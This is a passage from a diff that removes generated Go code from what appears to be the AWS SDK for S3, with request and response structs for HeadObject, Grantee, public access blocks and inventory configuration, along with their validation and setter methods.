locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` -} - -// String returns the string representation -func (s GetObjectTorrentOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectTorrentOutput) GoString() string { - return s.String() -} - -// SetBody sets the Body field's value. -func (s *GetObjectTorrentOutput) SetBody(v io.ReadCloser) *GetObjectTorrentOutput { - s.Body = v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *GetObjectTorrentOutput) SetRequestCharged(v string) *GetObjectTorrentOutput { - s.RequestCharged = &v - return s -} - -type GetPublicAccessBlockInput struct { - _ struct{} `type:"structure"` - - // The name of the Amazon S3 bucket whose PublicAccessBlock configuration you - // want to retrieve. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetPublicAccessBlockInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetPublicAccessBlockInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetPublicAccessBlockInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetPublicAccessBlockInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetPublicAccessBlockInput) SetBucket(v string) *GetPublicAccessBlockInput { - s.Bucket = &v - return s -} - -func (s *GetPublicAccessBlockInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetPublicAccessBlockOutput struct { - _ struct{} `type:"structure" payload:"PublicAccessBlockConfiguration"` - - // The PublicAccessBlock configuration currently in effect for this Amazon S3 - // bucket. - PublicAccessBlockConfiguration *PublicAccessBlockConfiguration `type:"structure"` -} - -// String returns the string representation -func (s GetPublicAccessBlockOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetPublicAccessBlockOutput) GoString() string { - return s.String() -} - -// SetPublicAccessBlockConfiguration sets the PublicAccessBlockConfiguration field's value. -func (s *GetPublicAccessBlockOutput) SetPublicAccessBlockConfiguration(v *PublicAccessBlockConfiguration) *GetPublicAccessBlockOutput { - s.PublicAccessBlockConfiguration = v - return s -} - -type GlacierJobParameters struct { - _ struct{} `type:"structure"` - - // Glacier retrieval tier at which the restore will be processed. - // - // Tier is a required field - Tier *string `type:"string" required:"true" enum:"Tier"` -} - -// String returns the string representation -func (s GlacierJobParameters) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GlacierJobParameters) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GlacierJobParameters) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GlacierJobParameters"} - if s.Tier == nil { - invalidParams.Add(request.NewErrParamRequired("Tier")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetTier sets the Tier field's value. -func (s *GlacierJobParameters) SetTier(v string) *GlacierJobParameters { - s.Tier = &v - return s -} - -type Grant struct { - _ struct{} `type:"structure"` - - Grantee *Grantee `type:"structure" xmlPrefix:"xsi" xmlURI:"http://www.w3.org/2001/XMLSchema-instance"` - - // Specifies the permission given to the grantee. - Permission *string `type:"string" enum:"Permission"` -} - -// String returns the string representation -func (s Grant) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Grant) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *Grant) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "Grant"} - if s.Grantee != nil { - if err := s.Grantee.Validate(); err != nil { - invalidParams.AddNested("Grantee", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetGrantee sets the Grantee field's value. -func (s *Grant) SetGrantee(v *Grantee) *Grant { - s.Grantee = v - return s -} - -// SetPermission sets the Permission field's value. -func (s *Grant) SetPermission(v string) *Grant { - s.Permission = &v - return s -} - -type Grantee struct { - _ struct{} `type:"structure" xmlPrefix:"xsi" xmlURI:"http://www.w3.org/2001/XMLSchema-instance"` - - // Screen name of the grantee. - DisplayName *string `type:"string"` - - // Email address of the grantee. - EmailAddress *string `type:"string"` - - // The canonical user ID of the grantee. - ID *string `type:"string"` - - // Type of grantee - // - // Type is a required field - Type *string `locationName:"xsi:type" type:"string" xmlAttribute:"true" required:"true" enum:"Type"` - - // URI of the grantee group. - URI *string `type:"string"` -} - -// String returns the string representation -func (s Grantee) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Grantee) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *Grantee) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "Grantee"} - if s.Type == nil { - invalidParams.Add(request.NewErrParamRequired("Type")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDisplayName sets the DisplayName field's value. -func (s *Grantee) SetDisplayName(v string) *Grantee { - s.DisplayName = &v - return s -} - -// SetEmailAddress sets the EmailAddress field's value. -func (s *Grantee) SetEmailAddress(v string) *Grantee { - s.EmailAddress = &v - return s -} - -// SetID sets the ID field's value. -func (s *Grantee) SetID(v string) *Grantee { - s.ID = &v - return s -} - -// SetType sets the Type field's value. -func (s *Grantee) SetType(v string) *Grantee { - s.Type = &v - return s -} - -// SetURI sets the URI field's value. -func (s *Grantee) SetURI(v string) *Grantee { - s.URI = &v - return s -} - -type HeadBucketInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s HeadBucketInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s HeadBucketInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *HeadBucketInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "HeadBucketInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *HeadBucketInput) SetBucket(v string) *HeadBucketInput { - s.Bucket = &v - return s -} - -func (s *HeadBucketInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type HeadBucketOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s HeadBucketOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s HeadBucketOutput) GoString() string { - return s.String() -} - -type HeadObjectInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Return the object only if its entity tag (ETag) is the same as the one specified, - // otherwise return a 412 (precondition failed). - IfMatch *string `location:"header" locationName:"If-Match" type:"string"` - - // Return the object only if it has been modified since the specified time, - // otherwise return a 304 (not modified). - IfModifiedSince *time.Time `location:"header" locationName:"If-Modified-Since" type:"timestamp"` - - // Return the object only if its entity tag (ETag) is different from the one - // specified, otherwise return a 304 (not modified). - IfNoneMatch *string `location:"header" locationName:"If-None-Match" type:"string"` - - // Return the object only if it has not been modified since the specified time, - // otherwise return a 412 (precondition failed). - IfUnmodifiedSince *time.Time `location:"header" locationName:"If-Unmodified-Since" type:"timestamp"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Part number of the object being read. This is a positive integer between - // 1 and 10,000. Effectively performs a 'ranged' HEAD request for the part specified. - // Useful querying about the size of the part and the number of parts in this - // object. - PartNumber *int64 `location:"querystring" locationName:"partNumber" type:"integer"` - - // Downloads the specified range bytes of an object. For more information about - // the HTTP Range header, go to http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35. - Range *string `location:"header" locationName:"Range" type:"string"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // Specifies the algorithm to use to when encrypting the object (e.g., AES256). - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // Specifies the customer-provided encryption key for Amazon S3 to use in encrypting - // data. This value is used to store the object and then it is discarded; Amazon - // does not store the encryption key. The key must be appropriate for use with - // the algorithm specified in the x-amz-server-side​-encryption​-customer-algorithm - // header. - SSECustomerKey *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // Specifies the 128-bit MD5 digest of the encryption key according to RFC 1321. - // Amazon S3 uses this header for a message integrity check to ensure the encryption - // key was transmitted without error. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // VersionId used to reference a specific version of the object. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s HeadObjectInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s HeadObjectInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *HeadObjectInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "HeadObjectInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *HeadObjectInput) SetBucket(v string) *HeadObjectInput { - s.Bucket = &v - return s -} - -func (s *HeadObjectInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetIfMatch sets the IfMatch field's value. -func (s *HeadObjectInput) SetIfMatch(v string) *HeadObjectInput { - s.IfMatch = &v - return s -} - -// SetIfModifiedSince sets the IfModifiedSince field's value. -func (s *HeadObjectInput) SetIfModifiedSince(v time.Time) *HeadObjectInput { - s.IfModifiedSince = &v - return s -} - -// SetIfNoneMatch sets the IfNoneMatch field's value. -func (s *HeadObjectInput) SetIfNoneMatch(v string) *HeadObjectInput { - s.IfNoneMatch = &v - return s -} - -// SetIfUnmodifiedSince sets the IfUnmodifiedSince field's value. -func (s *HeadObjectInput) SetIfUnmodifiedSince(v time.Time) *HeadObjectInput { - s.IfUnmodifiedSince = &v - return s -} - -// SetKey sets the Key field's value. -func (s *HeadObjectInput) SetKey(v string) *HeadObjectInput { - s.Key = &v - return s -} - -// SetPartNumber sets the PartNumber field's value. -func (s *HeadObjectInput) SetPartNumber(v int64) *HeadObjectInput { - s.PartNumber = &v - return s -} - -// SetRange sets the Range field's value. -func (s *HeadObjectInput) SetRange(v string) *HeadObjectInput { - s.Range = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *HeadObjectInput) SetRequestPayer(v string) *HeadObjectInput { - s.RequestPayer = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *HeadObjectInput) SetSSECustomerAlgorithm(v string) *HeadObjectInput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKey sets the SSECustomerKey field's value. -func (s *HeadObjectInput) SetSSECustomerKey(v string) *HeadObjectInput { - s.SSECustomerKey = &v - return s -} - -func (s *HeadObjectInput) getSSECustomerKey() (v string) { - if s.SSECustomerKey == nil { - return v - } - return *s.SSECustomerKey -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *HeadObjectInput) SetSSECustomerKeyMD5(v string) *HeadObjectInput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *HeadObjectInput) SetVersionId(v string) *HeadObjectInput { - s.VersionId = &v - return s -} - -type HeadObjectOutput struct { - _ struct{} `type:"structure"` - - AcceptRanges *string `location:"header" locationName:"accept-ranges" type:"string"` - - // Specifies caching behavior along the request/reply chain. - CacheControl *string `location:"header" locationName:"Cache-Control" type:"string"` - - // Specifies presentational information for the object. - ContentDisposition *string `location:"header" locationName:"Content-Disposition" type:"string"` - - // Specifies what content encodings have been applied to the object and thus - // what decoding mechanisms must be applied to obtain the media-type referenced - // by the Content-Type header field. - ContentEncoding *string `location:"header" locationName:"Content-Encoding" type:"string"` - - // The language the content is in. - ContentLanguage *string `location:"header" locationName:"Content-Language" type:"string"` - - // Size of the body in bytes. - ContentLength *int64 `location:"header" locationName:"Content-Length" type:"long"` - - // A standard MIME type describing the format of the object data. - ContentType *string `location:"header" locationName:"Content-Type" type:"string"` - - // Specifies whether the object retrieved was (true) or was not (false) a Delete - // Marker. If false, this response header does not appear in the response. - DeleteMarker *bool `location:"header" locationName:"x-amz-delete-marker" type:"boolean"` - - // An ETag is an opaque identifier assigned by a web server to a specific version - // of a resource found at a URL - ETag *string `location:"header" locationName:"ETag" type:"string"` - - // If the object expiration is configured (see PUT Bucket lifecycle), the response - // includes this header. It includes the expiry-date and rule-id key value pairs - // providing object expiration information. The value of the rule-id is URL - // encoded. - Expiration *string `location:"header" locationName:"x-amz-expiration" type:"string"` - - // The date and time at which the object is no longer cacheable. - Expires *string `location:"header" locationName:"Expires" type:"string"` - - // Last modified date of the object - LastModified *time.Time `location:"header" locationName:"Last-Modified" type:"timestamp"` - - // A map of metadata to store with the object in S3. - Metadata map[string]*string `location:"headers" locationName:"x-amz-meta-" type:"map"` - - // This is set to the number of metadata entries not returned in x-amz-meta - // headers. This can happen if you create metadata using an API like SOAP that - // supports more flexible metadata than the REST API. For example, using SOAP, - // you can create metadata whose values are not legal HTTP headers. - MissingMeta *int64 `location:"header" locationName:"x-amz-missing-meta" type:"integer"` - - // The Legal Hold status for the specified object. - ObjectLockLegalHoldStatus *string `location:"header" locationName:"x-amz-object-lock-legal-hold" type:"string" enum:"ObjectLockLegalHoldStatus"` - - // The Object Lock mode currently in place for this object. - ObjectLockMode *string `location:"header" locationName:"x-amz-object-lock-mode" type:"string" enum:"ObjectLockMode"` - - // The date and time when this object's Object Lock will expire. - ObjectLockRetainUntilDate *time.Time `location:"header" locationName:"x-amz-object-lock-retain-until-date" type:"timestamp" timestampFormat:"iso8601"` - - // The count of parts this object has. - PartsCount *int64 `location:"header" locationName:"x-amz-mp-parts-count" type:"integer"` - - ReplicationStatus *string `location:"header" locationName:"x-amz-replication-status" type:"string" enum:"ReplicationStatus"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // Provides information about object restoration operation and expiration time - // of the restored object copy. - Restore *string `location:"header" locationName:"x-amz-restore" type:"string"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header confirming the encryption algorithm - // used. - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header to provide round trip message integrity - // verification of the customer-provided encryption key. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // If present, specifies the ID of the AWS Key Management Service (KMS) master - // encryption key that was used for the object. - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` - - StorageClass *string `location:"header" locationName:"x-amz-storage-class" type:"string" enum:"StorageClass"` - - // Version of the object. - VersionId *string `location:"header" locationName:"x-amz-version-id" type:"string"` - - // If the bucket is configured as a website, redirects requests for this object - // to another object in the same bucket or to an external URL. Amazon S3 stores - // the value of this header in the object metadata. - WebsiteRedirectLocation *string `location:"header" locationName:"x-amz-website-redirect-location" type:"string"` -} - -// String returns the string representation -func (s HeadObjectOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s HeadObjectOutput) GoString() string { - return s.String() -} - -// SetAcceptRanges sets the AcceptRanges field's value. -func (s *HeadObjectOutput) SetAcceptRanges(v string) *HeadObjectOutput { - s.AcceptRanges = &v - return s -} - -// SetCacheControl sets the CacheControl field's value. -func (s *HeadObjectOutput) SetCacheControl(v string) *HeadObjectOutput { - s.CacheControl = &v - return s -} - -// SetContentDisposition sets the ContentDisposition field's value. -func (s *HeadObjectOutput) SetContentDisposition(v string) *HeadObjectOutput { - s.ContentDisposition = &v - return s -} - -// SetContentEncoding sets the ContentEncoding field's value. -func (s *HeadObjectOutput) SetContentEncoding(v string) *HeadObjectOutput { - s.ContentEncoding = &v - return s -} - -// SetContentLanguage sets the ContentLanguage field's value. -func (s *HeadObjectOutput) SetContentLanguage(v string) *HeadObjectOutput { - s.ContentLanguage = &v - return s -} - -// SetContentLength sets the ContentLength field's value. -func (s *HeadObjectOutput) SetContentLength(v int64) *HeadObjectOutput { - s.ContentLength = &v - return s -} - -// SetContentType sets the ContentType field's value. -func (s *HeadObjectOutput) SetContentType(v string) *HeadObjectOutput { - s.ContentType = &v - return s -} - -// SetDeleteMarker sets the DeleteMarker field's value. -func (s *HeadObjectOutput) SetDeleteMarker(v bool) *HeadObjectOutput { - s.DeleteMarker = &v - return s -} - -// SetETag sets the ETag field's value. -func (s *HeadObjectOutput) SetETag(v string) *HeadObjectOutput { - s.ETag = &v - return s -} - -// SetExpiration sets the Expiration field's value. -func (s *HeadObjectOutput) SetExpiration(v string) *HeadObjectOutput { - s.Expiration = &v - return s -} - -// SetExpires sets the Expires field's value. -func (s *HeadObjectOutput) SetExpires(v string) *HeadObjectOutput { - s.Expires = &v - return s -} - -// SetLastModified sets the LastModified field's value. -func (s *HeadObjectOutput) SetLastModified(v time.Time) *HeadObjectOutput { - s.LastModified = &v - return s -} - -// SetMetadata sets the Metadata field's value. -func (s *HeadObjectOutput) SetMetadata(v map[string]*string) *HeadObjectOutput { - s.Metadata = v - return s -} - -// SetMissingMeta sets the MissingMeta field's value. -func (s *HeadObjectOutput) SetMissingMeta(v int64) *HeadObjectOutput { - s.MissingMeta = &v - return s -} - -// SetObjectLockLegalHoldStatus sets the ObjectLockLegalHoldStatus field's value. -func (s *HeadObjectOutput) SetObjectLockLegalHoldStatus(v string) *HeadObjectOutput { - s.ObjectLockLegalHoldStatus = &v - return s -} - -// SetObjectLockMode sets the ObjectLockMode field's value. -func (s *HeadObjectOutput) SetObjectLockMode(v string) *HeadObjectOutput { - s.ObjectLockMode = &v - return s -} - -// SetObjectLockRetainUntilDate sets the ObjectLockRetainUntilDate field's value. -func (s *HeadObjectOutput) SetObjectLockRetainUntilDate(v time.Time) *HeadObjectOutput { - s.ObjectLockRetainUntilDate = &v - return s -} - -// SetPartsCount sets the PartsCount field's value. -func (s *HeadObjectOutput) SetPartsCount(v int64) *HeadObjectOutput { - s.PartsCount = &v - return s -} - -// SetReplicationStatus sets the ReplicationStatus field's value. -func (s *HeadObjectOutput) SetReplicationStatus(v string) *HeadObjectOutput { - s.ReplicationStatus = &v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *HeadObjectOutput) SetRequestCharged(v string) *HeadObjectOutput { - s.RequestCharged = &v - return s -} - -// SetRestore sets the Restore field's value. -func (s *HeadObjectOutput) SetRestore(v string) *HeadObjectOutput { - s.Restore = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *HeadObjectOutput) SetSSECustomerAlgorithm(v string) *HeadObjectOutput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *HeadObjectOutput) SetSSECustomerKeyMD5(v string) *HeadObjectOutput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *HeadObjectOutput) SetSSEKMSKeyId(v string) *HeadObjectOutput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *HeadObjectOutput) SetServerSideEncryption(v string) *HeadObjectOutput { - s.ServerSideEncryption = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *HeadObjectOutput) SetStorageClass(v string) *HeadObjectOutput { - s.StorageClass = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *HeadObjectOutput) SetVersionId(v string) *HeadObjectOutput { - s.VersionId = &v - return s -} - -// SetWebsiteRedirectLocation sets the WebsiteRedirectLocation field's value. -func (s *HeadObjectOutput) SetWebsiteRedirectLocation(v string) *HeadObjectOutput { - s.WebsiteRedirectLocation = &v - return s -} - -type IndexDocument struct { - _ struct{} `type:"structure"` - - // A suffix that is appended to a request that is for a directory on the website - // endpoint (e.g. if the suffix is index.html and you make a request to samplebucket/images/ - // the data that is returned will be for the object with the key name images/index.html) - // The suffix must not be empty and must not include a slash character. - // - // Suffix is a required field - Suffix *string `type:"string" required:"true"` -} - -// String returns the string representation -func (s IndexDocument) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s IndexDocument) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *IndexDocument) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "IndexDocument"} - if s.Suffix == nil { - invalidParams.Add(request.NewErrParamRequired("Suffix")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetSuffix sets the Suffix field's value. -func (s *IndexDocument) SetSuffix(v string) *IndexDocument { - s.Suffix = &v - return s -} - -type Initiator struct { - _ struct{} `type:"structure"` - - // Name of the Principal. - DisplayName *string `type:"string"` - - // If the principal is an AWS account, it provides the Canonical User ID. If - // the principal is an IAM User, it provides a user ARN value. - ID *string `type:"string"` -} - -// String returns the string representation -func (s Initiator) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Initiator) GoString() string { - return s.String() -} - -// SetDisplayName sets the DisplayName field's value. -func (s *Initiator) SetDisplayName(v string) *Initiator { - s.DisplayName = &v - return s -} - -// SetID sets the ID field's value. -func (s *Initiator) SetID(v string) *Initiator { - s.ID = &v - return s -} - -// Describes the serialization format of the object. -type InputSerialization struct { - _ struct{} `type:"structure"` - - // Describes the serialization of a CSV-encoded object. - CSV *CSVInput `type:"structure"` - - // Specifies object's compression format. Valid values: NONE, GZIP, BZIP2. Default - // Value: NONE. - CompressionType *string `type:"string" enum:"CompressionType"` - - // Specifies JSON as object's input serialization format. - JSON *JSONInput `type:"structure"` - - // Specifies Parquet as object's input serialization format. - Parquet *ParquetInput `type:"structure"` -} - -// String returns the string representation -func (s InputSerialization) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s InputSerialization) GoString() string { - return s.String() -} - -// SetCSV sets the CSV field's value. -func (s *InputSerialization) SetCSV(v *CSVInput) *InputSerialization { - s.CSV = v - return s -} - -// SetCompressionType sets the CompressionType field's value. -func (s *InputSerialization) SetCompressionType(v string) *InputSerialization { - s.CompressionType = &v - return s -} - -// SetJSON sets the JSON field's value. -func (s *InputSerialization) SetJSON(v *JSONInput) *InputSerialization { - s.JSON = v - return s -} - -// SetParquet sets the Parquet field's value. -func (s *InputSerialization) SetParquet(v *ParquetInput) *InputSerialization { - s.Parquet = v - return s -} - -type InventoryConfiguration struct { - _ struct{} `type:"structure"` - - // Contains information about where to publish the inventory results. - // - // Destination is a required field - Destination *InventoryDestination `type:"structure" required:"true"` - - // Specifies an inventory filter. The inventory only includes objects that meet - // the filter's criteria. - Filter *InventoryFilter `type:"structure"` - - // The ID used to identify the inventory configuration. - // - // Id is a required field - Id *string `type:"string" required:"true"` - - // Specifies which object version(s) to included in the inventory results. - // - // IncludedObjectVersions is a required field - IncludedObjectVersions *string `type:"string" required:"true" enum:"InventoryIncludedObjectVersions"` - - // Specifies whether the inventory is enabled or disabled. - // - // IsEnabled is a required field - IsEnabled *bool `type:"boolean" required:"true"` - - // Contains the optional fields that are included in the inventory results. - OptionalFields []*string `locationNameList:"Field" type:"list"` - - // Specifies the schedule for generating inventory results. - // - // Schedule is a required field - Schedule *InventorySchedule `type:"structure" required:"true"` -} - -// String returns the string representation -func (s InventoryConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s InventoryConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *InventoryConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "InventoryConfiguration"} - if s.Destination == nil { - invalidParams.Add(request.NewErrParamRequired("Destination")) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - if s.IncludedObjectVersions == nil { - invalidParams.Add(request.NewErrParamRequired("IncludedObjectVersions")) - } - if s.IsEnabled == nil { - invalidParams.Add(request.NewErrParamRequired("IsEnabled")) - } - if s.Schedule == nil { - invalidParams.Add(request.NewErrParamRequired("Schedule")) - } - if s.Destination != nil { - if err := s.Destination.Validate(); err != nil { - invalidParams.AddNested("Destination", err.(request.ErrInvalidParams)) - } - } - if s.Filter != nil { - if err := s.Filter.Validate(); err != nil { - invalidParams.AddNested("Filter", err.(request.ErrInvalidParams)) - } - } - if s.Schedule != nil { - if err := s.Schedule.Validate(); err != nil { - invalidParams.AddNested("Schedule", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDestination sets the Destination field's value. -func (s *InventoryConfiguration) SetDestination(v *InventoryDestination) *InventoryConfiguration { - s.Destination = v - return s -} - -// SetFilter sets the Filter field's value. -func (s *InventoryConfiguration) SetFilter(v *InventoryFilter) *InventoryConfiguration { - s.Filter = v - return s -} - -// SetId sets the Id field's value. -func (s *InventoryConfiguration) SetId(v string) *InventoryConfiguration { - s.Id = &v - return s -} - -// SetIncludedObjectVersions sets the IncludedObjectVersions field's value. -func (s *InventoryConfiguration) SetIncludedObjectVersions(v string) *InventoryConfiguration { - s.IncludedObjectVersions = &v - return s -} - -// SetIsEnabled sets the IsEnabled field's value. -func (s *InventoryConfiguration) SetIsEnabled(v bool) *InventoryConfiguration { - s.IsEnabled = &v - return s -} - -// SetOptionalFields sets the OptionalFields field's value. -func (s *InventoryConfiguration) SetOptionalFields(v []*string) *InventoryConfiguration { - s.OptionalFields = v - return s -} - -// SetSchedule sets the Schedule field's value. -func (s *InventoryConfiguration) SetSchedule(v *InventorySchedule) *InventoryConfiguration { - s.Schedule = v - return s -} - -type InventoryDestination struct { - _ struct{} `type:"structure"` - - // Contains the bucket name, file format, bucket owner (optional), and prefix - // (optional) where inventory results are published. - // - // S3BucketDestination is a required field - S3BucketDestination *InventoryS3BucketDestination `type:"structure" required:"true"` -} - -// String returns the string representation -func (s InventoryDestination) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s InventoryDestination) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *InventoryDestination) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "InventoryDestination"} - if s.S3BucketDestination == nil { - invalidParams.Add(request.NewErrParamRequired("S3BucketDestination")) - } - if s.S3BucketDestination != nil { - if err := s.S3BucketDestination.Validate(); err != nil { - invalidParams.AddNested("S3BucketDestination", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetS3BucketDestination sets the S3BucketDestination field's value. -func (s *InventoryDestination) SetS3BucketDestination(v *InventoryS3BucketDestination) *InventoryDestination { - s.S3BucketDestination = v - return s -} - -// Contains the type of server-side encryption used to encrypt the inventory -// results. -type InventoryEncryption struct { - _ struct{} `type:"structure"` - - // Specifies the use of SSE-KMS to encrypt delivered Inventory reports. - SSEKMS *SSEKMS `locationName:"SSE-KMS" type:"structure"` - - // Specifies the use of SSE-S3 to encrypt delivered Inventory reports. - SSES3 *SSES3 `locationName:"SSE-S3" type:"structure"` -} - -// String returns the string representation -func (s InventoryEncryption) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s InventoryEncryption) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *InventoryEncryption) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "InventoryEncryption"} - if s.SSEKMS != nil { - if err := s.SSEKMS.Validate(); err != nil { - invalidParams.AddNested("SSEKMS", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetSSEKMS sets the SSEKMS field's value. -func (s *InventoryEncryption) SetSSEKMS(v *SSEKMS) *InventoryEncryption { - s.SSEKMS = v - return s -} - -// SetSSES3 sets the SSES3 field's value. -func (s *InventoryEncryption) SetSSES3(v *SSES3) *InventoryEncryption { - s.SSES3 = v - return s -} - -type InventoryFilter struct { - _ struct{} `type:"structure"` - - // The prefix that an object must have to be included in the inventory results. - // - // Prefix is a required field - Prefix *string `type:"string" required:"true"` -} - -// String returns the string representation -func (s InventoryFilter) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s InventoryFilter) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *InventoryFilter) Validate() error { - invalidParams := 